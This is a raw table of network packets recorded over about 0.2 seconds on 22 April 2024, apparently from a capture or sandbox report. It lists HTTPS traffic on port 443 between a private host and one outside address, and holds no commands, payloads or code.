Apr 22, 2024 01:18:17.229557991 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.229638100 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.229650021 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.229701996 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.229710102 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.229720116 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.229765892 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.229784966 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.229820967 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.229851007 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.229870081 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230003119 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230015993 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230084896 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230096102 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230149984 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230451107 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230463982 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230506897 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230536938 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230565071 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230597973 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230613947 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230654001 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230670929 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230694056 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230746031 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230781078 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230797052 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230848074 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230860949 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230931997 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.230947971 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.230962038 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231012106 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231026888 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231105089 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231275082 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231288910 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231333971 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231349945 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231374025 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231399059 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231434107 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231453896 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231484890 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231497049 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231520891 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231621027 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231637955 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231679916 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231698036 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231719971 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231739044 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231789112 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231801033 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231837988 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231848001 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.231874943 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231914043 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.231992006 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232007027 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232069969 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232083082 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232172012 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232240915 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232259989 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232310057 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232321978 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232342958 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232362032 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232399940 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232413054 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232444048 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232487917 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232491016 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232503891 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232541084 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232549906 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232582092 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232592106 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232634068 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232634068 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232692003 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232705116 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232748985 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232760906 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232789993 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232809067 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232814074 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232824087 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232855082 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232881069 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232892990 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.232927084 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.232928038 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.239700079 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253029108 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253042936 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253093004 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253106117 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253133059 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253154039 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253180981 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253190041 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253220081 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253240108 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253338099 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253353119 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253392935 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253406048 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253432989 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253436089 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253454924 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253465891 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253477097 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253504038 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253521919 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253540039 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253596067 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253609896 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253647089 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253659010 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.253686905 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.253703117 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.292114019 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.292128086 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.292207956 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.292218924 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.292241096 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.292251110 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.333686113 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.333703041 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.333787918 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.333801031 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.334047079 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.410414934 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.410429955 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.410514116 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.410542965 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.410595894 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.411178112 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.411195040 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.411237955 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.411252022 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.411298037 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.411298037 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.411525965 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.411540985 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.411608934 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.411622047 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.411758900 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.414792061 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.414813042 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.414896965 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.414911985 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.414968967 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.415229082 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.415242910 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.415298939 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.415313005 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.415663004 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.415683031 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.415720940 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.415735006 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.415764093 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.416076899 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.416091919 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.416161060 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.416161060 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.416178942 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.416541100 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.416559935 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.416598082 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.416611910 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.416639090 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.416668892 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.416989088 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417006969 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417056084 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.417078972 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417105913 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.417366982 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417386055 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417426109 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.417438984 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417471886 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.417505980 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.417741060 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417757988 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417824030 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.417835951 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417897940 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417917013 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.417967081 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.417979956 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418009043 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.418025970 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.418050051 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418062925 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418138981 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.418150902 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418180943 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418200016 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418242931 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.418256044 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418282032 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.418301105 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.418354988 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418370962 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418425083 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.418436050 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418462992 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.418889046 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418905973 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418952942 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.418966055 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.418988943 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.419008970 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.419110060 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.419125080 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.419188976 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.419203043 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.419331074 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.419348955 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.419399023 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.419413090 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.419439077 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.419457912 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.419487000 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.419506073 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.419576883 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.419590950 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420135021 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420351982 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420366049 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420417070 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420433998 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420456886 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420481920 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420582056 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420598984 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420649052 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420660019 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420681953 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420686960 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420705080 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420705080 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420717001 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420737982 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420775890 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420856953 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420870066 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420911074 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420928001 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420950890 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.420975924 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.420994997 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421036959 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421051979 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421099901 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421123028 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421155930 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421171904 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421211004 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421226978 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421253920 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421272039 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421379089 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421391964 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421451092 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421462059 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421488047 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421504974 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421535015 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421551943 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421586037 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421597958 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.421622992 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.421639919 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.422178030 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.422192097 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.422251940 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.422266006 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.422539949 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.422555923 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.422569990 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.422584057 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.422626972 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.422646046 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.422853947 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423269987 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423284054 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423377037 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423391104 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423408985 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423428059 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423453093 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423470020 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423496008 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423505068 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423516035 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423527956 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423533916 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423547029 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423580885 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423618078 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423738956 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423753977 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423805952 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423815966 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423841000 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423876047 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423899889 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423904896 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423943996 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.423957109 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.423983097 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424000978 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424022913 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424038887 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424081087 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424097061 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424129963 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424139977 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424150944 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424166918 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424181938 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424206972 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424206972 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424232006 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424247026 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424403906 CEST	443	49720	185.199.220.53	192.168.2.5
